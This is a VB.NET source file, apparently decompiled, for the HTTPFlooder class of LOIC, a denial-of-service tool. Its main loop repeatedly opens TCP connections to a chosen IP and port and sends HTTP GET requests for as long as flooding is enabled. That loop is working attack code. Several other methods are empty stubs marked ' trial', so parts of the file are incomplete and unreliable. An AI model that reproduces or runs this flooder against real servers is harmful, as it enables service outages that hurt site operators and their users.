Imports System
Imports System.ComponentModel
Imports System.Net
Imports System.Net.Sockets
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
Namespace LOIC
Friend Class HTTPFlooder
Implements LOIC.IFlooder
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Delay>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Downloaded>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Failed>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <IP>k__BackingField As String
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <IsFlooding>k__BackingField As Boolean
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Port>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Requested>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Resp>k__BackingField As Boolean
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <State>k__BackingField As LOIC.ReqState
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Subsite>k__BackingField As String
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Timeout>k__BackingField As Integer
Private bw As System.ComponentModel.BackgroundWorker
Private lastAction As Long
Private random As System.Random
Private tTimepoll As System.Windows.Forms.Timer
Public Property Delay As Integer
Get
Return <Delay>k__BackingField
End Get
Set
<Delay>k__BackingField = value
End Set
End Property
Public Property Downloaded As Integer
Get
Return <Downloaded>k__BackingField
End Get
Set
<Downloaded>k__BackingField = value
End Set
End Property
Public Property Failed As Integer
Get
Return <Failed>k__BackingField
End Get
Set
<Failed>k__BackingField = value
End Set
End Property
Public Property IP As String
Get
Return <IP>k__BackingField
End Get
Set
<IP>k__BackingField = value
End Set
End Property
Public Property IsFlooding As Boolean
Get
Return <IsFlooding>k__BackingField
End Get
Set
<IsFlooding>k__BackingField = value
End Set
End Property
Public Property Port As Integer
Get
Return <Port>k__BackingField
End Get
Set
<Port>k__BackingField = value
End Set
End Property
Public Property Requested As Integer
Get
Return <Requested>k__BackingField
End Get
Set
<Requested>k__BackingField = value
End Set
End Property
Public Property Resp As Boolean
Get
Return <Resp>k__BackingField
End Get
Set
<Resp>k__BackingField = value
End Set
End Property
Public Property State As LOIC.ReqState
Get
Return <State>k__BackingField
End Get
Set
<State>k__BackingField = value
End Set
End Property
Public Property Subsite As String
Get
Return <Subsite>k__BackingField
End Get
Set
<Subsite>k__BackingField = value
End Set
End Property
Public Property Timeout As Integer
Get
Return <Timeout>k__BackingField
End Get
Set
<Timeout>k__BackingField = value
End Set
End Property
Public Sub New(ByVal ip As String, ByVal port As Integer, ByVal subSite As String, ByVal resp As Boolean, ByVal delay As Integer, ByVal timeout As Integer)
random = New System.Random
tTimepoll = New System.Windows.Forms.Timer
IP = ip
Port = port
Subsite = subSite
Resp = resp
Delay = delay
Timeout = timeout
End Sub
Private Sub bw_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
Try
Dim bArr1 As Byte() = System.Text.Encoding.ASCII.GetBytes(System.String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, System.Environment.NewLine))
Dim ipendPoint As System.Net.IPEndPoint = New System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port)
While IsFlooding
State = LOIC.ReqState.Ready
lastAction = LOIC.HTTPFlooder.Tick()
Dim bArr2 As Byte() = New byte(&H40) {}
Dim socket As System.Net.Sockets.Socket = New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp)
State = LOIC.ReqState.Connecting
socket.Connect(ipendPoint)
socket.Blocking = Resp
State = LOIC.ReqState.Requesting
socket.Send(bArr1, System.Net.Sockets.SocketFlags.None)
State = LOIC.ReqState.Downloading
Requested = Requested + 1
If Resp Then
socket.Receive(bArr2, &H40, System.Net.Sockets.SocketFlags.None)
End If
State = LOIC.ReqState.Completed
Downloaded = Downloaded + 1
tTimepoll.Stop()
If Delay > 0 Then
System.Threading.Thread.Sleep(Delay)
End If
End While
Catch
Finally
IsFlooding = False
End Try
End Sub
Public Sub Start()
' trial
End Sub
Public Sub Stop()
IsFlooding = False
bw.CancelAsync()
End Sub
Private Sub tTimepoll_Tick(ByVal sender As Object, ByVal e As System.EventArgs)
' trial
End Sub
Private Shared Function Tick() As Long
' trial
Return 0
End Function
End Class ' class HTTPFlooder
End Namespace
